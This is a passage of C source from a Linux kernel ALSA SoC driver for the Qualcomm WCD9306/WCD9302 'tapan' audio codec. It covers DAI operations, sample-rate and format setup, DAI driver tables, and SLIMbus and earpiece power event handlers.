dev_err(codec->dev, "Cache read from %x failed: %d\n",
reg, ret);
}
val = wcd9xxx_reg_read(&wcd9xxx->core_res, reg);
return val;
}
static int tapan_startup(struct snd_pcm_substream *substream,
struct snd_soc_dai *dai)
{
struct wcd9xxx *tapan_core = dev_get_drvdata(dai->codec->dev->parent);
dev_dbg(dai->codec->dev, "%s(): substream = %s stream = %d\n",
__func__, substream->name, substream->stream);
if ((tapan_core != NULL) &&
(tapan_core->dev != NULL) &&
(tapan_core->dev->parent != NULL))
pm_runtime_get_sync(tapan_core->dev->parent);
return 0;
}
static void tapan_shutdown(struct snd_pcm_substream *substream,
struct snd_soc_dai *dai)
{
struct wcd9xxx *tapan_core = dev_get_drvdata(dai->codec->dev->parent);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(dai->codec);
u32 active = 0;
dev_dbg(dai->codec->dev, "%s(): substream = %s stream = %d\n",
__func__, substream->name, substream->stream);
if (dai->id < NUM_CODEC_DAIS) {
if (tapan->dai[dai->id].ch_mask) {
active = 1;
dev_dbg(dai->codec->dev, "%s(): Codec DAI: chmask[%d] = 0x%lx\n",
__func__, dai->id,
tapan->dai[dai->id].ch_mask);
}
}
if ((tapan_core != NULL) &&
(tapan_core->dev != NULL) &&
(tapan_core->dev->parent != NULL) &&
(active == 0)) {
pm_runtime_mark_last_busy(tapan_core->dev->parent);
pm_runtime_put(tapan_core->dev->parent);
dev_dbg(dai->codec->dev, "%s: unvote requested", __func__);
}
}
static void tapan_set_vdd_cx_current(struct snd_soc_codec *codec,
int current_uA)
{
struct regulator *cx_regulator;
int ret;
cx_regulator = tapan_codec_find_regulator(codec,
"cdc-vdd-cx");
if (!cx_regulator) {
dev_err(codec->dev, "%s: Regulator %s not defined\n",
__func__, "cdc-vdd-cx-supply");
return;
}
ret = regulator_set_optimum_mode(cx_regulator, current_uA);
if (ret < 0)
dev_err(codec->dev,
"%s: Failed to set vdd_cx current to %d\n",
__func__, current_uA);
}
int tapan_mclk_enable(struct snd_soc_codec *codec, int mclk_enable, bool dapm)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s: mclk_enable = %u, dapm = %d\n", __func__,
mclk_enable, dapm);
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
if (mclk_enable) {
tapan_set_vdd_cx_current(codec, TAPAN_VDD_CX_OPTIMAL_UA);
wcd9xxx_resmgr_get_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
wcd9xxx_resmgr_get_clk_block(&tapan->resmgr, WCD9XXX_CLK_MCLK);
} else {
/* Put clock and BG */
wcd9xxx_resmgr_put_clk_block(&tapan->resmgr, WCD9XXX_CLK_MCLK);
wcd9xxx_resmgr_put_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
/* Set the vdd cx power rail sleep mode current */
tapan_set_vdd_cx_current(codec, TAPAN_VDD_CX_SLEEP_UA);
}
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
return 0;
}
static int tapan_set_dai_sysclk(struct snd_soc_dai *dai,
int clk_id, unsigned int freq, int dir)
{
dev_dbg(dai->codec->dev, "%s\n", __func__);
return 0;
}
static int tapan_set_dai_fmt(struct snd_soc_dai *dai, unsigned int fmt)
{
u8 val = 0;
struct snd_soc_codec *codec = dai->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s\n", __func__);
switch (fmt & SND_SOC_DAIFMT_MASTER_MASK) {
case SND_SOC_DAIFMT_CBS_CFS:
/* CPU is master */
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
if (dai->id == AIF1_CAP)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
TAPAN_I2S_MASTER_MODE_MASK, 0);
else if (dai->id == AIF1_PB)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
TAPAN_I2S_MASTER_MODE_MASK, 0);
}
break;
case SND_SOC_DAIFMT_CBM_CFM:
/* CPU is slave */
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
val = TAPAN_I2S_MASTER_MODE_MASK;
if (dai->id == AIF1_CAP)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL, val, val);
else if (dai->id == AIF1_PB)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL, val, val);
}
break;
default:
return -EINVAL;
}
return 0;
}
static int tapan_set_channel_map(struct snd_soc_dai *dai,
unsigned int tx_num, unsigned int *tx_slot,
unsigned int rx_num, unsigned int *rx_slot)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(dai->codec);
struct wcd9xxx *core = dev_get_drvdata(dai->codec->dev->parent);
if (!tx_slot || !rx_slot) {
pr_err("%s: Invalid\n", __func__);
return -EINVAL;
}
dev_dbg(dai->codec->dev, "%s(): dai_name = %s DAI-ID %x\n",
__func__, dai->name, dai->id);
dev_dbg(dai->codec->dev, "%s(): tx_ch %d rx_ch %d\n intf_type %d\n",
__func__, tx_num, rx_num, tapan->intf_type);
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_SLIMBUS)
wcd9xxx_init_slimslave(core, core->slim->laddr,
tx_num, tx_slot, rx_num, rx_slot);
return 0;
}
static int tapan_get_channel_map(struct snd_soc_dai *dai,
unsigned int *tx_num, unsigned int *tx_slot,
unsigned int *rx_num, unsigned int *rx_slot)
{
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(dai->codec);
u32 i = 0;
struct wcd9xxx_ch *ch;
switch (dai->id) {
case AIF1_PB:
case AIF2_PB:
case AIF3_PB:
if (!rx_slot || !rx_num) {
pr_err("%s: Invalid rx_slot %d or rx_num %d\n",
__func__, (u32) rx_slot, (u32) rx_num);
return -EINVAL;
}
list_for_each_entry(ch, &tapan_p->dai[dai->id].wcd9xxx_ch_list,
list) {
dev_dbg(dai->codec->dev, "%s: rx_slot[%d] %d, ch->ch_num %d\n",
__func__, i, rx_slot[i], ch->ch_num);
rx_slot[i++] = ch->ch_num;
}
dev_dbg(dai->codec->dev, "%s: rx_num %d\n", __func__, i);
*rx_num = i;
break;
case AIF1_CAP:
case AIF2_CAP:
case AIF3_CAP:
if (!tx_slot || !tx_num) {
pr_err("%s: Invalid tx_slot %d or tx_num %d\n",
__func__, (u32) tx_slot, (u32) tx_num);
return -EINVAL;
}
list_for_each_entry(ch, &tapan_p->dai[dai->id].wcd9xxx_ch_list,
list) {
dev_dbg(dai->codec->dev, "%s: tx_slot[%d] %d, ch->ch_num %d\n",
__func__, i, tx_slot[i], ch->ch_num);
tx_slot[i++] = ch->ch_num;
}
dev_dbg(dai->codec->dev, "%s: tx_num %d\n", __func__, i);
*tx_num = i;
break;
default:
pr_err("%s: Invalid DAI ID %x\n", __func__, dai->id);
break;
}
return 0;
}
static int tapan_set_interpolator_rate(struct snd_soc_dai *dai,
u8 rx_fs_rate_reg_val, u32 compander_fs, u32 sample_rate)
{
u32 j;
u8 rx_mix1_inp;
u16 rx_mix_1_reg_1, rx_mix_1_reg_2;
u16 rx_fs_reg;
u8 rx_mix_1_reg_1_val, rx_mix_1_reg_2_val;
u8 rdac5_mux;
struct snd_soc_codec *codec = dai->codec;
struct wcd9xxx_ch *ch;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
list_for_each_entry(ch, &tapan->dai[dai->id].wcd9xxx_ch_list, list) {
/* for RX port starting from 16 instead of 10 like tabla */
rx_mix1_inp = ch->port + RX_MIX1_INP_SEL_RX1 -
TAPAN_TX_PORT_NUMBER;
if ((rx_mix1_inp < RX_MIX1_INP_SEL_RX1) ||
(rx_mix1_inp > RX_MIX1_INP_SEL_RX5)) {
pr_err("%s: Invalid TAPAN_RX%u port. Dai ID is %d\n",
__func__, rx_mix1_inp - 5 , dai->id);
return -EINVAL;
}
rx_mix_1_reg_1 = TAPAN_A_CDC_CONN_RX1_B1_CTL;
rdac5_mux = snd_soc_read(codec, TAPAN_A_CDC_CONN_MISC);
rdac5_mux = (rdac5_mux & 0x04) >> 2;
for (j = 0; j < NUM_INTERPOLATORS; j++) {
rx_mix_1_reg_2 = rx_mix_1_reg_1 + 1;
rx_mix_1_reg_1_val = snd_soc_read(codec,
rx_mix_1_reg_1);
rx_mix_1_reg_2_val = snd_soc_read(codec,
rx_mix_1_reg_2);
if (((rx_mix_1_reg_1_val & 0x0F) == rx_mix1_inp) ||
(((rx_mix_1_reg_1_val >> 4) & 0x0F)
== rx_mix1_inp) ||
((rx_mix_1_reg_2_val & 0x0F) == rx_mix1_inp)) {
rx_fs_reg = TAPAN_A_CDC_RX1_B5_CTL + 8 * j;
dev_dbg(codec->dev, "%s: AIF_PB DAI(%d) connected to RX%u\n",
__func__, dai->id, j + 1);
dev_dbg(codec->dev, "%s: set RX%u sample rate to %u\n",
__func__, j + 1, sample_rate);
snd_soc_update_bits(codec, rx_fs_reg,
0xE0, rx_fs_rate_reg_val);
if (comp_rx_path[j] < COMPANDER_MAX) {
if ((j == 3) && (rdac5_mux == 1))
tapan->comp_fs[COMPANDER_0] =
compander_fs;
else
tapan->comp_fs[comp_rx_path[j]]
= compander_fs;
}
}
if (j <= 1)
rx_mix_1_reg_1 += 3;
else
rx_mix_1_reg_1 += 2;
}
}
return 0;
}
static int tapan_set_decimator_rate(struct snd_soc_dai *dai,
u8 tx_fs_rate_reg_val, u32 sample_rate)
{
struct snd_soc_codec *codec = dai->codec;
struct wcd9xxx_ch *ch;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u32 tx_port;
u16 tx_port_reg, tx_fs_reg;
u8 tx_port_reg_val;
s8 decimator;
list_for_each_entry(ch, &tapan->dai[dai->id].wcd9xxx_ch_list, list) {
tx_port = ch->port + 1;
dev_dbg(codec->dev, "%s: dai->id = %d, tx_port = %d",
__func__, dai->id, tx_port);
if ((tx_port < 1) || (tx_port > TAPAN_SLIM_CODEC_TX_PORTS)) {
pr_err("%s: Invalid SLIM TX%u port. DAI ID is %d\n",
__func__, tx_port, dai->id);
return -EINVAL;
}
tx_port_reg = TAPAN_A_CDC_CONN_TX_SB_B1_CTL + (tx_port - 1);
tx_port_reg_val = snd_soc_read(codec, tx_port_reg);
decimator = 0;
tx_port_reg_val = tx_port_reg_val & 0x0F;
if ((tx_port_reg_val >= 0x8) &&
(tx_port_reg_val <= 0x11)) {
decimator = (tx_port_reg_val - 0x8) + 1;
}
if (decimator) { /* SLIM_TX port has a DEC as input */
tx_fs_reg = TAPAN_A_CDC_TX1_CLK_FS_CTL +
8 * (decimator - 1);
dev_dbg(codec->dev, "%s: set DEC%u (-> SLIM_TX%u) rate to %u\n",
__func__, decimator, tx_port, sample_rate);
snd_soc_update_bits(codec, tx_fs_reg, 0x07,
tx_fs_rate_reg_val);
} else {
if ((tx_port_reg_val >= 0x1) &&
(tx_port_reg_val <= 0x4)) {
dev_dbg(codec->dev, "%s: RMIX%u going to SLIM TX%u\n",
__func__, tx_port_reg_val, tx_port);
} else if ((tx_port_reg_val >= 0x8) &&
(tx_port_reg_val <= 0x11)) {
pr_err("%s: ERROR: Should not be here\n",
__func__);
pr_err("%s: ERROR: DEC connected to SLIM TX%u\n",
__func__, tx_port);
return -EINVAL;
} else if (tx_port_reg_val == 0) {
dev_dbg(codec->dev, "%s: no signal to SLIM TX%u\n",
__func__, tx_port);
} else {
pr_err("%s: ERROR: wrong signal to SLIM TX%u\n",
__func__, tx_port);
pr_err("%s: ERROR: wrong signal = %u\n",
__func__, tx_port_reg_val);
return -EINVAL;
}
}
}
return 0;
}
static void tapan_set_rxsb_port_format(struct snd_pcm_hw_params *params,
struct snd_soc_dai *dai)
{
struct snd_soc_codec *codec = dai->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_codec_dai_data *cdc_dai;
struct wcd9xxx_ch *ch;
int port;
u8 bit_sel;
u16 sb_ctl_reg, field_shift;
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
bit_sel = 0x2;
tapan_p->dai[dai->id].bit_width = 16;
break;
case SNDRV_PCM_FORMAT_S24_LE:
bit_sel = 0x0;
tapan_p->dai[dai->id].bit_width = 24;
break;
default:
dev_err(codec->dev, "Invalid format %x\n",
params_format(params));
return;
}
cdc_dai = &tapan_p->dai[dai->id];
list_for_each_entry(ch, &cdc_dai->wcd9xxx_ch_list, list) {
port = wcd9xxx_get_slave_port(ch->ch_num);
if (IS_ERR_VALUE(port) ||
!TAPAN_VALIDATE_RX_SBPORT_RANGE(port)) {
dev_warn(codec->dev,
"%s: invalid port ID %d returned for RX DAI\n",
__func__, port);
return;
}
port = TAPAN_CONVERT_RX_SBPORT_ID(port);
if (port <= 3) {
sb_ctl_reg = TAPAN_A_CDC_CONN_RX_SB_B1_CTL;
field_shift = port << 1;
} else if (port <= 4) {
sb_ctl_reg = TAPAN_A_CDC_CONN_RX_SB_B2_CTL;
field_shift = (port - 4) << 1;
} else { /* should not happen */
dev_warn(codec->dev,
"%s: bad port ID %d\n", __func__, port);
return;
}
dev_dbg(codec->dev, "%s: sb_ctl_reg %x field_shift %x\n"
"bit_sel %x\n", __func__, sb_ctl_reg, field_shift,
bit_sel);
snd_soc_update_bits(codec, sb_ctl_reg, 0x3 << field_shift,
bit_sel << field_shift);
}
}
static int tapan_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *params,
struct snd_soc_dai *dai)
{
struct snd_soc_codec *codec = dai->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(dai->codec);
u8 tx_fs_rate, rx_fs_rate;
u32 compander_fs;
int ret;
dev_dbg(dai->codec->dev, "%s: dai_name = %s DAI-ID %x rate %d num_ch %d\n",
__func__, dai->name, dai->id,
params_rate(params), params_channels(params));
switch (params_rate(params)) {
case 8000:
tx_fs_rate = 0x00;
rx_fs_rate = 0x00;
compander_fs = COMPANDER_FS_8KHZ;
break;
case 16000:
tx_fs_rate = 0x01;
rx_fs_rate = 0x20;
compander_fs = COMPANDER_FS_16KHZ;
break;
case 32000:
tx_fs_rate = 0x02;
rx_fs_rate = 0x40;
compander_fs = COMPANDER_FS_32KHZ;
break;
case 48000:
tx_fs_rate = 0x03;
rx_fs_rate = 0x60;
compander_fs = COMPANDER_FS_48KHZ;
break;
case 96000:
tx_fs_rate = 0x04;
rx_fs_rate = 0x80;
compander_fs = COMPANDER_FS_96KHZ;
break;
case 192000:
tx_fs_rate = 0x05;
rx_fs_rate = 0xA0;
compander_fs = COMPANDER_FS_192KHZ;
break;
default:
pr_err("%s: Invalid sampling rate %d\n", __func__,
params_rate(params));
return -EINVAL;
}
switch (substream->stream) {
case SNDRV_PCM_STREAM_CAPTURE:
ret = tapan_set_decimator_rate(dai, tx_fs_rate,
params_rate(params));
if (ret < 0) {
pr_err("%s: set decimator rate failed %d\n", __func__,
ret);
return ret;
}
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
0x20, 0x20);
break;
case SNDRV_PCM_FORMAT_S32_LE:
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
0x20, 0x00);
break;
default:
pr_err("invalid format\n");
break;
}
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_I2S_CTL,
0x07, tx_fs_rate);
} else {
tapan->dai[dai->id].rate = params_rate(params);
}
break;
case SNDRV_PCM_STREAM_PLAYBACK:
ret = tapan_set_interpolator_rate(dai, rx_fs_rate,
compander_fs,
params_rate(params));
if (ret < 0) {
dev_err(codec->dev, "%s: set decimator rate failed %d\n",
__func__, ret);
return ret;
}
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
0x20, 0x20);
break;
case SNDRV_PCM_FORMAT_S32_LE:
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
0x20, 0x00);
break;
default:
dev_err(codec->dev, "invalid format\n");
break;
}
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_I2S_CTL,
0x03, (rx_fs_rate >> 0x05));
} else {
tapan_set_rxsb_port_format(params, dai);
tapan->dai[dai->id].rate = params_rate(params);
}
break;
default:
dev_err(codec->dev, "%s: Invalid stream type %d\n", __func__,
substream->stream);
return -EINVAL;
}
return 0;
}
int tapan_digital_mute(struct snd_soc_dai *dai, int mute)
{
struct snd_soc_codec *codec = NULL;
u16 tx_vol_ctl_reg = 0;
u8 decimator = 0, i;
struct tapan_priv *tapan_p;
pr_debug("%s: Digital Mute val = %d\n", __func__, mute);
if (!dai || !dai->codec) {
pr_err("%s: Invalid params\n", __func__);
return -EINVAL;
}
codec = dai->codec;
tapan_p = snd_soc_codec_get_drvdata(codec);
if (dai->id != AIF1_CAP) {
dev_dbg(codec->dev, "%s: Not capture use case skip\n",
__func__);
return 0;
}
mute = (mute) ? 1 : 0;
if (!mute) {
/*
* 5 ms is an emperical value for the mute time
* that was arrived by checking the pop level
* to be inaudible
*/
usleep_range(5000, 5010);
}
for (i = 0; i < NUM_DECIMATORS; i++) {
if (tapan_p->dec_active[i])
decimator = i + 1;
if (decimator && decimator <= NUM_DECIMATORS) {
pr_debug("%s: Mute = %d Decimator = %d", __func__,
mute, decimator);
tx_vol_ctl_reg = TAPAN_A_CDC_TX1_VOL_CTL_CFG +
8 * (decimator - 1);
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, mute);
}
decimator = 0;
}
return 0;
}
static struct snd_soc_dai_ops tapan_dai_ops = {
.startup = tapan_startup,
.shutdown = tapan_shutdown,
.hw_params = tapan_hw_params,
.set_sysclk = tapan_set_dai_sysclk,
.set_fmt = tapan_set_dai_fmt,
.set_channel_map = tapan_set_channel_map,
.get_channel_map = tapan_get_channel_map,
.digital_mute = tapan_digital_mute,
};
static struct snd_soc_dai_driver tapan9302_dai[] = {
{
.name = "tapan9302_rx1",
.id = AIF1_PB,
.playback = {
.stream_name = "AIF1 Playback",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_tx1",
.id = AIF1_CAP,
.capture = {
.stream_name = "AIF1 Capture",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_rx2",
.id = AIF2_PB,
.playback = {
.stream_name = "AIF2 Playback",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_min = 8000,
.rate_max = 48000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_tx2",
.id = AIF2_CAP,
.capture = {
.stream_name = "AIF2 Capture",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_tx3",
.id = AIF3_CAP,
.capture = {
.stream_name = "AIF3 Capture",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan9302_rx3",
.id = AIF3_PB,
.playback = {
.stream_name = "AIF3 Playback",
.rates = WCD9302_RATES,
.formats = TAPAN_FORMATS,
.rate_min = 8000,
.rate_max = 48000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
};
static struct snd_soc_dai_driver tapan_dai[] = {
{
.name = "tapan_rx1",
.id = AIF1_PB,
.playback = {
.stream_name = "AIF1 Playback",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS_S16_S24_LE,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_tx1",
.id = AIF1_CAP,
.capture = {
.stream_name = "AIF1 Capture",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_rx2",
.id = AIF2_PB,
.playback = {
.stream_name = "AIF2 Playback",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS_S16_S24_LE,
.rate_min = 8000,
.rate_max = 192000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_tx2",
.id = AIF2_CAP,
.capture = {
.stream_name = "AIF2 Capture",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_tx3",
.id = AIF3_CAP,
.capture = {
.stream_name = "AIF3 Capture",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_rx3",
.id = AIF3_PB,
.playback = {
.stream_name = "AIF3 Playback",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS_S16_S24_LE,
.rate_min = 8000,
.rate_max = 192000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tapan_dai_ops,
},
};
static struct snd_soc_dai_driver tapan_i2s_dai[] = {
{
.name = "tapan_i2s_rx1",
.id = AIF1_PB,
.playback = {
.stream_name = "AIF1 Playback",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
{
.name = "tapan_i2s_tx1",
.id = AIF1_CAP,
.capture = {
.stream_name = "AIF1 Capture",
.rates = WCD9306_RATES,
.formats = TAPAN_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tapan_dai_ops,
},
};
static int tapan_codec_enable_slim_chmask(struct wcd9xxx_codec_dai_data *dai,
bool up)
{
int ret = 0;
struct wcd9xxx_ch *ch;
if (up) {
list_for_each_entry(ch, &dai->wcd9xxx_ch_list, list) {
ret = wcd9xxx_get_slave_port(ch->ch_num);
if (ret < 0) {
pr_debug("%s: Invalid slave port ID: %d\n",
__func__, ret);
ret = -EINVAL;
} else {
set_bit(ret, &dai->ch_mask);
}
}
} else {
ret = wait_event_timeout(dai->dai_wait, (dai->ch_mask == 0),
msecs_to_jiffies(
TAPAN_SLIM_CLOSE_TIMEOUT));
if (!ret) {
pr_debug("%s: Slim close tx/rx wait timeout\n",
__func__);
ret = -ETIMEDOUT;
} else {
ret = 0;
}
}
return ret;
}
static int tapan_codec_enable_slimrx(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol,
int event)
{
struct wcd9xxx *core;
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
int ret = 0;
struct wcd9xxx_codec_dai_data *dai;
core = dev_get_drvdata(codec->dev->parent);
if(core == NULL) {
dev_err(codec->dev, "%s: core is null\n",
__func__);
return -EINVAL;
}
dev_dbg(codec->dev, "%s: event called! codec name %s\n",
__func__, w->codec->name);
dev_dbg(codec->dev, "%s: num_dai %d stream name %s event %d\n",
__func__, w->codec->num_dai, w->sname, event);
/* Execute the callback only if interface type is slimbus */
if (tapan_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS)
return 0;
dai = &tapan_p->dai[w->shift];
dev_dbg(codec->dev, "%s: w->name %s w->shift %d event %d\n",
__func__, w->name, w->shift, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
dai->bus_down_in_recovery = false;
(void) tapan_codec_enable_slim_chmask(dai, true);
ret = wcd9xxx_cfg_slim_sch_rx(core, &dai->wcd9xxx_ch_list,
dai->rate, dai->bit_width,
&dai->grph);
break;
case SND_SOC_DAPM_POST_PMD:
ret = wcd9xxx_close_slim_sch_rx(core, &dai->wcd9xxx_ch_list,
dai->grph);
if (!dai->bus_down_in_recovery)
ret = tapan_codec_enable_slim_chmask(dai, false);
if (ret < 0) {
ret = wcd9xxx_disconnect_port(core,
&dai->wcd9xxx_ch_list,
dai->grph);
dev_dbg(codec->dev, "%s: Disconnect RX port, ret = %d\n",
__func__, ret);
}
if ((core != NULL) &&
(core->dev != NULL) &&
(core->dev->parent != NULL)) {
pm_runtime_mark_last_busy(core->dev->parent);
pm_runtime_put(core->dev->parent);
dev_dbg(codec->dev, "%s: unvote requested", __func__);
}
dai->bus_down_in_recovery = false;
break;
}
return ret;
}
static int tapan_codec_enable_slimtx(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol,
int event)
{
struct wcd9xxx *core;
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
u32 ret = 0;
struct wcd9xxx_codec_dai_data *dai;
core = dev_get_drvdata(codec->dev->parent);
dev_dbg(codec->dev, "%s: event called! codec name %s\n",
__func__, w->codec->name);
dev_dbg(codec->dev, "%s: num_dai %d stream name %s\n",
__func__, w->codec->num_dai, w->sname);
/* Execute the callback only if interface type is slimbus */
if (tapan_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS)
return 0;
dev_dbg(codec->dev, "%s(): w->name %s event %d w->shift %d\n",
__func__, w->name, event, w->shift);
dai = &tapan_p->dai[w->shift];
switch (event) {
case SND_SOC_DAPM_POST_PMU:
dai->bus_down_in_recovery = false;
(void) tapan_codec_enable_slim_chmask(dai, true);
ret = wcd9xxx_cfg_slim_sch_tx(core, &dai->wcd9xxx_ch_list,
dai->rate, dai->bit_width,
&dai->grph);
break;
case SND_SOC_DAPM_POST_PMD:
ret = wcd9xxx_close_slim_sch_tx(core, &dai->wcd9xxx_ch_list,
dai->grph);
if (!dai->bus_down_in_recovery)
ret = tapan_codec_enable_slim_chmask(dai, false);
if (ret < 0) {
ret = wcd9xxx_disconnect_port(core,
&dai->wcd9xxx_ch_list,
dai->grph);
dev_dbg(codec->dev, "%s: Disconnect RX port, ret = %d\n",
__func__, ret);
}
if ((core != NULL) &&
(core->dev != NULL) &&
(core->dev->parent != NULL)) {
pm_runtime_mark_last_busy(core->dev->parent);
pm_runtime_put(core->dev->parent);
dev_dbg(codec->dev, "%s: unvote requested", __func__);
}
dai->bus_down_in_recovery = false;
break;
}
return ret;
}
static int tapan_codec_enable_ear_pa(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_EAR,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
usleep_range(5000, 5010);
break;
case SND_SOC_DAPM_POST_PMD:
usleep_range(5000, 5010);
snd_soc_update_bits(codec, TAPAN_A_RX_EAR_EN, 0x40, 0x00);
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_EAR,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
}
return 0;
}
static int tapan_codec_ear_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
wcd9xxx_clsh_fsm(codec, &tapan_p->clsh_d,
WCD9XXX_CLSH_STATE_EAR,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
break;
}
return 0;
}
static int tapan_codec_iir_mux_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
pr_debug("%s: event = %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
snd_soc_write(codec, w->reg, snd_soc_read(codec, w->reg));
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_write(codec, w->reg, snd_soc_read(codec, w->reg));
break;
}
return 0;
}
static int tapan_codec_dsm_mux_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
u8 reg_val, zoh_mux_val = 0x00;
dev_dbg(codec->dev, "%s: event = %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
reg_val = snd_soc_read(codec, TAPAN_A_CDC_CONN_CLSH_CTL);
if ((reg_val & 0x30) == 0x10)
zoh_mux_val = 0x04;
else if ((reg_val & 0x30) == 0x20)
zoh_mux_val = 0x08;
if (zoh_mux_val != 0x00)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CONN_CLSH_CTL,
0x0C, zoh_mux_val);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, TAPAN_A_CDC_CONN_CLSH_CTL,
0x0C, 0x00);
break;
}
return 0;
}
